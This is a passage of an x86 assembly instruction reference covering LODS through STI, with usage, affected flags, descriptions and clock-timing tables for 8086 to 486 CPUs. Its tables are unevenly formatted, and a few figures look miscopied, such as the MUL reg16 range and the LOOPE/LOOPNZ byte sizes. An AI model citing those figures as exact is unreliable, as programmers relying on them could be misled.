%       Operands     808x  286   386   486        Bytes

        none          2   0     0         1         1


        - see ~Instruction Timing~

:lods:lodsb:lodsw:lodsd
^LODS - Load String (Byte, Word or Double)


        Usage:      LODS  src
              LODSB
              LODSW
              LODSD  (386+ only)
        Modifies flags: None

        Transfers string element addressed by DS:SI (even if an operand is
        supplied) to the accumulator. SI is incremented based on the size
        of the operand or based on the instruction used.  If the Direction
        Flag is set SI is decremented, if the Direction Flag is clear SI
        is incremented.  Use with REP prefixes.


%                         Clocks                 Size
%       Operands     808x  286   386   486        Bytes

        src         12/16 5     5         5         1


        - see ~Instruction Timing~

:loop
^LOOP - Decrement CX and Loop if CX Not Zero


        Usage:      LOOP  label
        Modifies flags: None


        Decrements CX by 1 and transfers control to "label" if CX is not
        Zero.  The "label" operand must be within -128 or 127 bytes of the
        instruction following the loop instruction


%                         Clocks                 Size
%       Operands     808x  286   386   486        Bytes
```

```
	label:		jump	18	8+m  11+m	6		2
		no jump		5  4	   ?		2


	- see ~Instruction Timing~
```

:loope:loopz
^LOOPE/LOOPZ - Loop While Equal / Loop While Zero

```
	Usage:	LOOPE label
		LOOPZ label
	Modifies flags: None

	Decrements CX by 1 (without modifying the flags) and transfers
	control to "label" if CX != 0 and the Zero Flag is set.  The
	"label" operand must be within -128 or 127 bytes of the instruction
	following the loop instruction.


%				Clocks			Size
%	Operands	808x  286   386   486		Bytes

	label:		jump	18	8+m  11+m	9		2
		no jump		5  4	   ?		6


	- see ~Instruction Timing~
```

:loopnz:loopne
^LOOPNZ/LOOPNE - Loop While Not Zero / Loop While Not Equal

```
	Usage:	LOOPNZ	label
		LOOPNE	label
	Modifies flags: None

	Decrements CX by 1 (without modifying the flags) and transfers
	control to "label" if CX != 0 and the Zero Flag is clear.  The
	"label" operand must be within -128 or 127 bytes of the instruction
	following the loop instruction.


%				Clocks			Size
%	Operands	808x  286   386   486		Bytes

	label:		jump	19	8+m  11+m	9		2
		no jump		5  4	   ?		6


	- see ~Instruction Timing~
```

:lsl
^LSL - Load Segment Limit (286+ protected)

```
	Usage:	LSL   dest,src
	Modifies flags: ZF

	Loads the segment limit of a selector into the destination register
	if the selector is valid and visible at the current privilege level.
	If loading is successful the Zero Flag is set, otherwise it is
	cleared.
```

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg16,reg16   -   14  20/25   10            3
      reg32,reg32   -   -   20/25   10            3
      reg16,mem16   -   16  21/26   10            5
      reg32,mem32   -   -   21/26   10            5


      - 386 times are listed "byte granular" / "page granular"
      - see ~Instruction Timing~
:lss
^LSS - Load Pointer Using SS  (386+ only)


      Usage:      LSS   dest,src
      Modifies flags: None


      Loads 32-bit pointer from memory source to destination register
      and SS.  The offset is placed in the destination register and the
      segment is placed in SS.  To use this instruction the word at the
      lower memory address must contain the offset and the word at the
      higher address must contain the segment.  This simplifies the loading
      of far pointers from the stack and the interrupt vector table.


%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg,mem        -   -     7         6        5-7
      reg,mem (PM)        -   -     22    12          5-7


      - see ~Instruction Timing~

:ltr
^LTR - Load Task Register   (286+ privileged)


      Usage:      LTR   src
      Modifies flags: None


      Loads the current task register with the value specified in "src".


%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg16          -   17    23    20            3
      mem16          -   19    27    20            5


      - see ~Instruction Timing~

:mov
^MOV - Move Byte or Word

      Usage:      MOV   dest,src
      Modifies flags: None
```

Copies byte or word from the source operand to the destination operand. If the destination is SS interrupts are disabled except on early buggy 808x CPUs. Some CPUs disable interrupts if the destination is any of the segment registers

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg,reg        2   2     2         1        2
      mem,reg       9+EA 3     2         1       2-4  (W88=13+EA)
      reg,mem       8+EA 5     4         1       2-4  (W88=12+EA)
      mem,immed   10+EA 3      2         1       3-6  (W88=14+EA)
      reg,immed      4   2     2         1       2-3
      mem,accum     10  3      2         1        3   (W88=14)
      accum,mem     10  5      4         1        3   (W88=14)
      segreg,reg16        2   2     2         3        2
      segreg,mem16       8+EA 5     5         9       2-4  (W88=12+EA)
      reg16,segreg        2   2     2         3        2
      mem16,segreg       9+EA 3     2         3       2-4  (W88=13+EA)
      reg32,CR0/CR2/CR3 -     -     6         4
      CR0,reg32     -   -     10    16
      CR2,reg32     -   -     4     4             3
      CR3,reg32     -   -     5     4             3
      reg32,DR0/DR1/DR2/DR3   -     22   10             3
      reg32,DR6/DR7       -     -     22   10           3
      DR0/DR1/DR2/DR3,reg32   -     22   11             3
      DR6/DR7,reg32       -   -     16   11             3
      reg32,TR6/TR7       -   -     12    4             3
      TR6/TR7,reg32       -   -     12    4             3
      reg32,TR3                  3
      TR3,reg32                  6
```

- when the 386 special registers are used all operands are 32 bits
- see ~Instruction Timing~

:movs:movsb:movsw:movsd
^MOVS - Move String (Byte or Word)

```
Usage:      MOVS  dest,src
      MOVSB
      MOVSW
      MOVSD  (386+ only)
Modifies flags: None
```

Copies data from addressed by DS:SI (even if operands are given) to the location ES:DI destination and updates SI and DI based on the size of the operand or instruction used. SI and DI are incremented when the Direction Flag is cleared and decremented when the Direction Flag is Set. Use with ~REP~ prefixes.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      dest,src      18  5      7         7        1   (W88=26)
```

- see ~Instruction Timing~

:movsx
^MOVSX - Move with Sign Extend   (386+ only)

```
      Usage:      MOVSX dest,src
      Modifies flags: None


      Copies the value of the source operand to the destination register
      with the sign extended.


%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg,reg       -   -     3         3         3
      reg,mem       -   -     6         3        3-7


      - see ~Instruction Timing~
```

```
:movzx
^MOVZX - Move with Zero Extend     (386+ only)


      Usage:      MOVZX dest,src
      Modifies flags: None


      Copies the value of the source operand to the destination register
      with the zeroes extended.


%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg,reg       -   -     3         3         3
      reg,mem       -   -     6         3        3-7


      - see ~Instruction Timing~
```

```
:mul
^MUL - Unsigned Multiply

      Usage:      MUL   src
      Modifies flags: CF OF (AF,PF,SF,ZF undefined)

      Unsigned multiply of the accumulator by the source.  If "src" is
      a byte value, then AL is used as the other multiplicand and the
      result is placed in AX.  If "src" is a word value, then AX is
      multiplied by "src" and DX:AX receives the result.  If "src" is
      a double word value, then EAX is multiplied by "src" and EDX:EAX
      receives the result.  The 386+ uses an early out algorithm which
      makes multiplying any size value in EAX as fast as in the 8 or 16
      bit registers.

%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg8        70-77 13   9-14  13-18    2
      reg16        118-113    21   9-22  13-26    2
      reg32         -   -    9-38  13-42   2-4
      mem8      (76-83)+EA    16  12-17  13-18   2-4
      mem16   (124-139)+EA    24  12-25  13-26   2-4
```

```
mem32          -    -   12-21  13-42   2-4
```

- see ~Instruction Timing~   ~IMUL~

:neg
^NEG - Two's Complement Negation

```
Usage:      NEG   dest
Modifies flags: AF CF OF PF SF ZF
```

Subtracts the destination from 0 and saves the 2s complement of "dest" back into "dest".

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg            3   2     2         1         2
      mem          16+EA 7     6         3        2-4  (W88=24+EA)
```

- see ~Instruction Timing~

:nop
^NOP - No Operation (90h)

```
Usage:      NOP
Modifies flags: None
```

This is a do nothing instruction. It results in occupation of both space and time and is most useful for patching code segments.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      none           3   3     3         1         1
```

- see ~Instruction Timing~

:not
^NOT - One's Compliment Negation (Logical NOT)

```
Usage:      NOT   dest
Modifies flags: None
```

Inverts the bits of the "dest" operand forming the 1s complement.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg            3   2     2         1         2
      mem          16+EA 7     6         3        2-4  (W88=24+EA)
```

- see ~Instruction Timing~

:or
^OR - Inclusive Logical OR

Usage: OR dest,src
Modifies flags: CF OF PF SF ZF (AF undefined)

Logical inclusive OR of the two operands returning the result in the destination. Any bit set in either operand will be set in the destination.

%		Clocks			Size	
% Operands	808x	286	386	486	Bytes	
reg,reg	3	2	2	1	2	
mem,reg	16+EA	7	7	3	2-4	(W88=24+EA)
reg,mem	9+EA	7	6	2	2-4	(W88=13+EA)
reg,immed	4	3	2	1	3-4	
mem8,immed8	17+EA	7	7	3	3-6	
mem16,immed16	25+EA	7	7	3	3-6	
accum,immed	4	3	2	1	2-3	

- see ~Instruction Timing~

:out
^OUT - Output Data to Port

Usage: OUT port,accum
Modifies flags: None

Transfers byte in AL,word in AX or dword in EAX to the specified hardware port address. If the port number is in the range of 0-255 it can be specified as an immediate. If greater than 255 then the port number must be specified in DX. Since the PC only decodes 10 bits of the port address, values over 1023 can only be decoded by third party vendor equipment and also map to the port range 0-1023.

%		Clocks			Size
% Operands	808x	286	386	486	Bytes
immed8,accum	10/14	3	10	16	2
immed8,accum (PM)	-	-	4/24	11/31/29	2
DX,accum	8/12	3	11	16	1
DX,accum (PM)	-	-	5/25	10/30/29	1

- 386+ protected mode timings depend on privilege levels.

  first number is the timing when: CPL ó IOPL
  second number is the timing when: CPL > IOPL
  third number is the timing when: virtual mode on 486 processor

- see ~Instruction Timing~

:outs:outsb:outsw:outsd
^OUTS - Output String to Port (80188+ only)

Usage: OUTS port,src

OUTSB
OUTSW
OUTSD (386+ only)

Modifies flags: None

Transfers a byte, word or doubleword from "src" to the hardware port specified in DX. For instructions with no operands the "src" is located at DS:SI and SI is incremented or decremented by the size of the operand or the size dictated by the instruction format. When the Direction Flag is set SI is decremented, when clear, SI is incremented. If the port number is in the range of 0-255 it can be specified as an immediate. If greater than 255 then the port number must be specified in DX. Since the PC only decodes 10 bits of the port address, values over 1023 can only be decoded by third party vendor equipment and also map to the port range 0-1023.

%		Clocks			Size
% Operands	808x	286	386	486	Bytes
port,src	-	5	14	17	1
port,src (PM)	-	-	8/28	10/32/30	1

- 386+ protected mode timings depend on privilege levels.

  first number is the timing when: CPL ó IOPL
  second number is the timing when: CPL > IOPL
  third number is the timing when: virtual mode on 486 processor

- see ~Instruction Timing~

:pop
^POP - Pop Word off Stack

Usage: POP   dest
Modifies flags: None

Transfers word at the current stack top (SS:SP) to the destination then increments SP by two to point to the new stack top. CS is not a valid destination.

%		Clocks			Size
% Operands	808x	286	386	486	Bytes
reg16	8	5	4	4	1
reg32	4	-	-	4	1
segreg	8	5	7	3	1
mem16	17+EA	5	5	6	2-4
mem32	5	-	-	6	2-4

- see ~Instruction Timing~

:popa:popad
^POPA/POPAD - Pop All Registers onto Stack (80188+ only)

Usage: POPA

POPAD (386+ only)
Modifies flags: None

Pops the top 8 words off the stack into the 8 general purpose 16/32 bit registers.   Registers are popped in the following order: (E)DI, (E)SI, (E)BP, (E)SP, (E)DX, (E)CX and (E)AX. The (E)SP value popped from the stack is actually discarded.

%		Clocks				Size
%	Operands	808x	286	386	486	Bytes
	none	-	19	24	9	1

- see ~Instruction Timing~

:popf:popfd
^POPF/POPFD - Pop Flags off Stack

Usage: POPF
POPFD (386+ only)
Modifies flags: all flags

Pops word/doubleword from stack into the Flags Register and then increments SP by 2 (for POPF) or 4 (for POPFD).

%		Clocks				Size	
%	Operands	808x	286	386	486	Bytes	
	none	8/12	5	5	9	1	(W88=12)
	none (PM)	-	-	5	6	1	

- see ~Instruction Timing~

:push
^PUSH - Push Word onto Stack

Usage: PUSH src
PUSH immed (80188+ only)
Modifies flags: None

Decrements SP by the size of the operand (two or four, byte values are sign extended) and transfers one word from source to the stack top (SS:SP).

%		Clocks				Size	
%	Operands	808x	286	386	486	Bytes	
	reg16	11/15	3	2	1	1	
	reg32	-	-	2	1	1	
	mem16	16+EA	5	5	4	2-4	(W88=24+EA)
	mem32	-	-	5	4	2-4	
	segreg	10/14	3	2	3	1	
	immed	-	3	2	1	2-3	

- see ~Instruction Timing~

:pusha:pushad
^PUSHA/PUSHAD - Push All Registers onto Stack (80188+ only)

```
      Usage:      PUSHA
            PUSHAD      (386+ only)
      Modifies flags: None
```

Pushes all general purpose registers onto the stack in the following order: (E)AX, (E)CX, (E)DX, (E)BX, (E)SP, (E)BP, (E)SI, (E)DI. The value of SP is the value before the actual push of SP.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      none          -    19    24    11           1
```

- see ~Instruction Timing~

:pushf:pushfd
^PUSHF/PUSHFD - Push Flags onto Stack

```
      Usage:      PUSHF
            PUSHFD      (386+ only)
      Modifies flags: None
```

Transfers the Flags Register onto the stack. PUSHF saves a 16 bit value while PUSHFD saves a 32 bit value.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      none        10/14 3     4          4         1
      none  (PM)    -   -     4          3         1
```

- see ~Instruction Timing~

:rcl
^RCL - Rotate Through Carry Left

```
      Usage:      RCL   dest,count
      Modifies flags: CF OF
```

Rotates the bits in the destination to the left "count" times with all data pushed out the left side re-entering on the right. The Carry Flag holds the last bit rotated out.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg,1         2   2     9          3        2
      mem,1       15+EA 7     10    4           2-4  (W88=23+EA)
      reg,CL            8+4n  5+n    9      8-30            2
```

```
mem,CL            20+EA+4n 8+n    10   9-31          2-4  (W88=28+EA+4n)
reg,immed8    -    5+n     9   8-30        3
mem,immed8    -    8+n    10   9-31       3-5
```

- see ~Instruction Timing~

:rcr
^RCR - Rotate Through Carry Right

```
Usage:      RCR   dest,count
Modifies flags: CF OF
```

Rotates the bits in the destination to the right "count" times with all data pushed out the right side re-entering on the left. The Carry Flag holds the last bit rotated out.

```
%                       Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg,1         2   2     9         3        2
      mem,1       15+EA 7     10    4          2-4   (W88=23+EA)
      reg,CL            8+4n  5+n    9      8-30           2
      mem,CL            20+EA+4n 8+n    10   9-31          2-4   (W88=28+EA+4n)
      reg,immed8    -    5+n    9      8-30            3
      mem,immed8    -    8+n    10   9-31       3-5
```

- see ~Instruction Timing~

:rep
^REP - Repeat String Operation

```
Usage:      REP
Modifies flags: None
```

Repeats execution of string instructions while CX != 0. After each string operation, CX is decremented and the Zero Flag is tested. The combination of a repeat prefix and a segment override on CPU's before the 386 may result in errors if an interrupt occurs before CX=0. The following code shows code that is susceptible to this and how to avoid it:

```
 again:  rep movs  byte ptr ES:[DI],ES:[SI]   ; vulnerable instr.
           jcxz  next        ; continue if REP successful
           loop  again       ; interrupt goofed count
 next:
```

```
%                       Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      none          2   2     2                   1
```

- see ~Instruction Timing~   ~REPE~   ~REPNE~

:repe:repz
^REPE/REPZ - Repeat Equal / Repeat Zero

```
Usage:      REPE
      REPZ
Modifies flags: None
```

Repeats execution of string instructions while CX != 0 and the Zero Flag is set. CX is decremented and the Zero Flag tested after each string operation. The combination of a repeat prefix and a segment override on processors other than the 386 may result in errors if an interrupt occurs before CX=0.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      none          2   2     2                   1
```

- see ~Instruction Timing~

:repne:repnz
^REPNE/REPNZ - Repeat Not Equal / Repeat Not Zero

```
Usage:      REPNE
      REPNZ
Modifies flags: None
```

Repeats execution of string instructions while CX != 0 and the Zero Flag is clear. CX is decremented and the Zero Flag tested after each string operation. The combination of a repeat prefix and a segment override on processors other than the 386 may result in errors if an interrupt occurs before CX=0.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      none          2   2     2                   1
```

- see ~Instruction Timing~

:ret:retf:retn
^RET/RETF - Return From Procedure

```
Usage:      RET   nBytes
      RETF  nBytes
      RETN  nBytes
Modifies flags: None
```

Transfers control from a procedure back to the instruction address saved on the stack. "n bytes" is an optional number of bytes to release. Far returns pop the IP followed by the CS, while near returns pop only the IP register.

```
%                        Clocks                 Size
%     Operands     808x  286    386   486       Bytes

      retn        16/20  11+m  10+m    5          1
      retn immed  20/24  11+m  10+m    5          3
      retf        26/34  15+m  18+m    13         1
      retf (PM, same priv.)   -    32+m    18           1
      retf (PM, lesser priv.) -      68    33           1
            retf immed  25/33  15+m  18+m    14         3
```

```
      retf immed (PM, same priv.)  32+m    17          1
      retf immed (PM, lesser priv.)  68    33          1


      - see ~Instruction Timing~

:rol
^ROL - Rotate Left

      Usage:      ROL   dest,count
      Modifies flags: CF OF


      Rotates the bits in the destination to the left "count" times with
      all data pushed out the left side re-entering on the right.  The
      Carry Flag will contain the value of the last bit rotated out.

%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg,1          2   2     3         3         2
      mem,1        15+EA 7     7         4        2-4  (W88=23+EA)
      reg,CL             8+4n  5+n    3       3         2
      mem,CL            20+EA+4n 8+n    7     4        2-4  (W88=28+EA+4n)
      reg,immed8    -    5+n    3       2         3
      mem,immed8    -    8+n    7       4        3-5


      - see ~Instruction Timing~

:ror
^ROR - Rotate Right

      Usage:      ROR   dest,count
      Modifies flags: CF OF


      Rotates the bits in the destination to the right "count" times with
      all data pushed out the right side re-entering on the left.  The
      Carry Flag will contain the value of the last bit rotated out.

%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg,1          2   2     3         3         2
      mem,1        15+EA 7     7         4        2-4  (W88=23+EA)
      reg,CL             8+4n  5+n    3       3         2
      mem,CL            20+EA+4n 8+n    7     4        2-4  (W88=28+EA+4n)
      reg,immed8    -    5+n    3       2         3
      mem,immed8    -    8+n    7       4        3-5


      - see ~Instruction Timing~

:sahf
^SAHF - Store AH Register into FLAGS


      Usage:      SAHF
      Modifies flags: AF CF PF SF ZF


      Transfers bits 0-7 of AH into the Flags Register.  This includes
```

AF, CF, PF, SF and ZF.

% Operands	Clocks 808x	286	386	486	Size Bytes
none	4	2	3	2	1

- see ~Instruction Timing~

:sal:shl

^SAL/SHL - Shift Arithmetic Left / Shift Logical Left

Usage: SAL dest,count
SHL dest,count
Modifies flags: CF OF PF SF ZF (AF undefined)

Shifts the destination left by "count" bits with zeroes shifted in on right. The Carry Flag contains the last bit shifted out.

% Operands	Clocks 808x	286	386	486	Size Bytes
reg,1	2	2	3	3	2
mem,1	15+EA	7	7	4	2-4 (W88=23+EA)
reg,CL	8+4n	5+n	3	3	2
mem,CL	20+EA+4n	8+n	7	4	2-4 (W88=28+EA+4n)
reg,immed8	-	5+n	3	2	3
mem,immed8	-	8+n	7	4	3-5

- see ~Instruction Timing~

:sar

^SAR - Shift Arithmetic Right

Usage: SAR dest,count
Modifies flags: CF OF PF SF ZF (AF undefined)

Shifts the destination right by "count" bits with the current sign bit replicated in the leftmost bit. The Carry Flag contains the last bit shifted out.

% Operands	Clocks 808x	286	386	486	Size Bytes
reg,1	2	2	3	3	2
mem,1	15+EA	7	7	4	2-4 (W88=23+EA)
reg,CL	8+4n	5+n	3	3	2
mem,CL	20+EA+4n	8+n	7	4	2-4 (W88=28+EA+4n)
reg,immed8	-	5+n	3	2	3
mem,immed8	-	8+n	7	4	3-5

- see ~Instruction Timing~

:sbb

^SBB - Subtract with Borrow

Usage: SBB dest,src

Modifies flags: AF CF OF PF SF ZF

Subtracts the source from the destination, and subtracts 1 extra if the Carry Flag is set. Results are returned in "dest".

% Operands	Clocks 808x	286	386	486	Size Bytes	
reg,reg	3	2	2	1	2	
mem,reg	16+EA	7	6	3	2-4	(W88=24+EA)
reg,mem	9+EA	7	7	2	2-4	(W88=13+EA)
reg,immed	4	3	2	1	3-4	
mem,immed	17+EA	7	7	3	3-6	(W88=25+EA)
accum,immed	4	3	2	1	2-3	

- see ~Instruction Timing~

:scas:scasb:scasw:scasd
^SCAS - Scan String (Byte, Word or Doubleword)

Usage: SCAS string
SCASB
SCASW
SCASD (386+ only)
Modifies flags: AF CF OF PF SF ZF

Compares value at ES:DI (even if operand is specified) from the accumulator and sets the flags similar to a subtraction. DI is incremented/decremented based on the instruction format (or operand size) and the state of the Direction Flag. Use with REP prefixes.

% Operands	Clocks 808x	286	386	486	Size Bytes	
string	15	7	7	6	1	(W88=19)

- see ~Instruction Timing~

:setae:setnb
^SETAE/SETNB - Set if Above or Equal / Set if Not Below
^(unsigned, 386+ only)

Usage: SETAE dest
SETNB dest
Modifies flags: none

Sets the byte in the operand to 1 if the Carry Flag is clear otherwise sets the operand to 0.

% Operands	Clocks 808x	286	386	486	Size Bytes
reg8	-	-	4	3	3

```
        mem8          -   -     5         4         3
```

- see ~Instruction Timing~

:setb:setnae
^SETB/SETNAE - Set if Below / Set if Not Above or Equal
^(unsigned, 386+ only)

```
        Usage:      SETB  dest
              SETNAE      dest
        Modifies flags: none
```

Sets the byte in the operand to 1 if the Carry Flag is set otherwise sets the operand to 0.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg8          -   -     4         3         3
      mem8          -   -     5         4         3
```

- see ~Instruction Timing~

:setbe:setna
^SETBE/SETNA - Set if Below or Equal / Set if Not Above
^(unsigned, 386+ only)

```
        Usage:      SETBE dest
              SETNA dest
        Modifies flags: none
```

Sets the byte in the operand to 1 if the Carry Flag or the Zero Flag is set, otherwise sets the operand to 0.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg8          -   -     4         3         3
      mem8          -   -     5         4         3
```

- see ~Instruction Timing~

:sete:setz
^SETE/SETZ - Set if Equal / Set if Zero (386+ only)

```
        Usage:      SETE  dest
              SETZ  dest
        Modifies flags: none
```

Sets the byte in the operand to 1 if the Zero Flag is set, otherwise sets the operand to 0.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg8          -   -     4         3         3
      mem8          -   -     5         4         3
```

- see ~Instruction Timing~

:setne:setnz
^SETNE/SETNZ - Set if Not Equal / Set if Not Zero (386+ only)

```
      Usage:      SETNE dest
            SETNZ dest
      Modifies flags: none
```

Sets the byte in the operand to 1 if the Zero Flag is clear, otherwise sets the operand to 0.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg8          -   -     4         3         3
      mem8          -   -     5         4         3
```

- see ~Instruction Timing~

:setl:setnge
^SETL/SETNGE - Set if Less / Set if Not Greater or Equal
^(signed, 386+ only)

```
      Usage:      SETL  dest
            SETNGE      dest
      Modifies flags: none
```

Sets the byte in the operand to 1 if the Sign Flag is not equal to the Overflow Flag, otherwise sets the operand to 0.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg8          -   -     4         3         3
      mem8          -   -     5         4         3
```

- see ~Instruction Timing~

:setge:setnl
^SETGE/SETNL - Set if Greater or Equal / Set if Not Less
^(signed, 386+ only)

```
      Usage:      SETGE dest
            SETNL dest
      Modifies flags: none
```

Sets the byte in the operand to 1 if the Sign Flag equals the Overflow Flag, otherwise sets the operand to 0.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg8          -   -     4         3         3
      mem8          -   -     5         4         3
```

- see ~Instruction Timing~

:setle:setng
^SETLE/SETNG - Set if Less or Equal / Set if Not greater or Equal
^(signed, 386+ only)

```
      Usage:      SETLE dest
            SETNG dest
      Modifies flags: none
```

Sets the byte in the operand to 1 if the Zero Flag is set or the Sign Flag is not equal to the Overflow Flag, otherwise sets the operand to 0.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg8          -   -     4         3         3
      mem8          -   -     5         4         3
```

- see ~Instruction Timing~

:setg:setnle
^SETG/SETNLE - Set if Greater / Set if Not Less or Equal
^(signed, 386+ only)

```
      Usage:      SETG  dest
            SETNLE      dest
      Modifies flags: none
```

Sets the byte in the operand to 1 if the Zero Flag is clear or the Sign Flag equals to the Overflow Flag,   otherwise sets the operand to 0.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg8          -   -     4         3         3
      mem8          -   -     5         4         3
```

- see ~Instruction Timing~

:sets
^SETS - Set if Signed (386+ only)

Usage: SETS dest
Modifies flags: none

Sets the byte in the operand to 1 if the Sign Flag is set, otherwise sets the operand to 0.

%		Clocks				Size
%	Operands	808x	286	386	486	Bytes
	reg8	-	-	4	3	3
	mem8	-	-	5	4	3

- see ~Instruction Timing~

:setns
^SETNS - Set if Not Signed (386+ only)

Usage: SETNS dest
Modifies flags: none

Sets the byte in the operand to 1 if the Sign Flag is clear, otherwise sets the operand to 0.

%		Clocks				Size
%	Operands	808x	286	386	486	Bytes
	reg8	-	-	4	3	3
	mem8	-	-	5	4	3

- see ~Instruction Timing~

:setc
^SETC - Set if Carry (386+ only)

Usage: SETC dest
Modifies flags: none

Sets the byte in the operand to 1 if the Carry Flag is set, otherwise sets the operand to 0.

%		Clocks				Size
%	Operands	808x	286	386	486	Bytes
	reg8	-	-	4	3	3
	mem8	-	-	5	4	3

- see ~Instruction Timing~

:setnc

^SETNC - Set if Not Carry (386+ only)

Usage: SETNC dest

Modifies flags: none

Sets the byte in the operand to 1 if the Carry Flag is clear, otherwise sets the operand to 0.

%		Clocks				Size
%	Operands	808x	286	386	486	Bytes
	reg8	-	-	4	3	3
	mem8	-	-	5	4	3

- see ~Instruction Timing~

:seto

^SETO - Set if Overflow (386+ only)

Usage: SETO dest

Modifies flags: none

Sets the byte in the operand to 1 if the Overflow Flag is set, otherwise sets the operand to 0.

%		Clocks				Size
%	Operands	808x	286	386	486	Bytes
	reg8	-	-	4	3	3
	mem8	-	-	5	4	3

- see ~Instruction Timing~

:setno

^SETNO - Set if Not Overflow (386+ only)

Usage: SETNO dest

Modifies flags: none

Sets the byte in the operand to 1 if the Overflow Flag is clear, otherwise sets the operand to 0.

%		Clocks				Size
%	Operands	808x	286	386	486	Bytes
	reg8	-	-	4	3	3
	mem8	-	-	5	4	3

- see ~Instruction Timing~

:setp:setpe
^SETP/SETPE - Set if Parity / Set if Parity Even (386+ only)

```
Usage:      SETP  dest
      SETPE dest
Modifies flags: none
```

Sets the byte in the operand to 1 if the Parity Flag is set, otherwise sets the operand to 0.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg8          -   -     4         3         3
      mem8          -   -     5         4         3
```

- see ~Instruction Timing~

:setnp:setpo
^SETNP/SETPO - Set if No Parity / Set if Parity Odd (386+ only)

```
Usage:      SETNP dest
      SETPO dest
Modifies flags: none
```

Sets the byte in the operand to 1 if the Parity Flag is clear, otherwise sets the operand to 0.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg8          -   -     4         3         3
      mem8          -   -     5         4         3
```

- see ~Instruction Timing~

:sgdt
^SGDT - Store Global Descriptor Table (286+ privileged)

```
Usage:      SGDT  dest
Modifies flags: none
```

Stores the Global Descriptor Table (~GDT~) Register into the specified operand.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      mem64         -   11    9         10              5
```

- see ~Instruction Timing~

```
:sidt
^SIDT - Store Interrupt Descriptor Table (286+ privileged)


      Usage:      SIDT  dest
      Modifies flags: none


      Stores the Interrupt Descriptor Table (IDT) Register into the
      specified operand.


%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      mem64         -   12    9         10              5


      - see ~Instruction Timing~

:shr
^SHR - Shift Logical Right

      Usage:      SHR   dest,count
      Modifies flags: CF OF PF SF ZF (AF undefined)


      Shifts the destination right by "count" bits with zeroes shifted
      in on the left.  The Carry Flag contains the last bit shifted out.


%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg,1         2   2     3                   2
      mem,1       15+EA 7     7                  2-4   (W88=23+EA)
      reg,CL             8+4n  5+n    3                 2
      mem,CL            20+EA+4n 8+n    7              2-4   (W88=28+EA+4n)
      reg,immed8    -    5+n    3                 3
      mem,immed8    -    8+n    7                3-5


      - see ~Instruction Timing~

:shld:shrd
^SHLD/SHRD - Double Precision Shift (386+ only)


      Usage:      SHLD  dest,src,count
            SHRD  dest,src,count
      Modifies flags: CF PF SF ZF (OF,AF undefined)


      SHLD shifts "dest" to the left "count" times and the bit positions
      opened are filled with the most significant bits of "src".  SHRD
      shifts "dest" to the right "count" times and the bit positions
      opened are filled with the least significant bits of the second
      operand.  Only the 5 lower bits of "count" are used.


%                             Clocks                  Size
%     Operands          808x  286   386   486         Bytes
```

```
        reg16,reg16,immed8      -     -     3       2          4
        reg32,reg32,immed8      -     -     3       2          4
        mem16,reg16,immed8      -     -     7       3          6
        mem32,reg32,immed8      -     -     7       3          6
        reg16,reg16,CL          -     -     3       3          3
        reg32,reg32,CL          -     -     3       3          3
        mem16,reg16,CL          -     -     7       4          5
        mem32,reg32,CL          -     -     7       4          5
```

- see ~Instruction Timing~

:sldt
^SLDT - Store Local Descriptor Table (286+ privileged)

```
        Usage:      SLDT  dest
        Modifies flags: none
```

Stores the Local Descriptor Table (LDT) Register into the specified operand.

```
%                        Clocks                 Size
%      Operands     808x  286   386   486        Bytes

        reg16         -   2     2         2         3
        mem16         -   2     2         3         5
```

- see ~Instruction Timing~

:smsw
^SMSW - Store Machine Status Word (286+ privileged)

```
        Usage:      SMSW  dest
        Modifies flags: none
```

Store Machine Status Word (~MSW~) into "dest".

```
%                        Clocks                 Size
%      Operands     808x  286   386   486        Bytes

        reg16         -   2     10    2             3
        mem16         -   3     3         3         5
```

- see ~Instruction Timing~

:stc
^STC - Set Carry

```
        Usage:      STC
        Modifies flags: CF
```

Sets the Carry Flag to 1.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      none          2   2     2         2         1

      - see ~Instruction Timing~
```

:std
^STD - Set Direction Flag

```
      Usage:      STD
      Modifies flags: DF
```

Sets the Direction Flag to 1 causing string instructions to auto-decrement SI and DI instead of auto-increment.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      none          2   2     2         2         1

      - see ~Instruction Timing~
```

:sti
^STI - Set Interrupt Flag (Enable Interrupts)

```
      Usage:      STI
      Modifies flags: IF
```

Sets the Interrupt Flag to 1, enabling recognition of all CPU hardware interrupts.

```
%                        Clocks                 Size
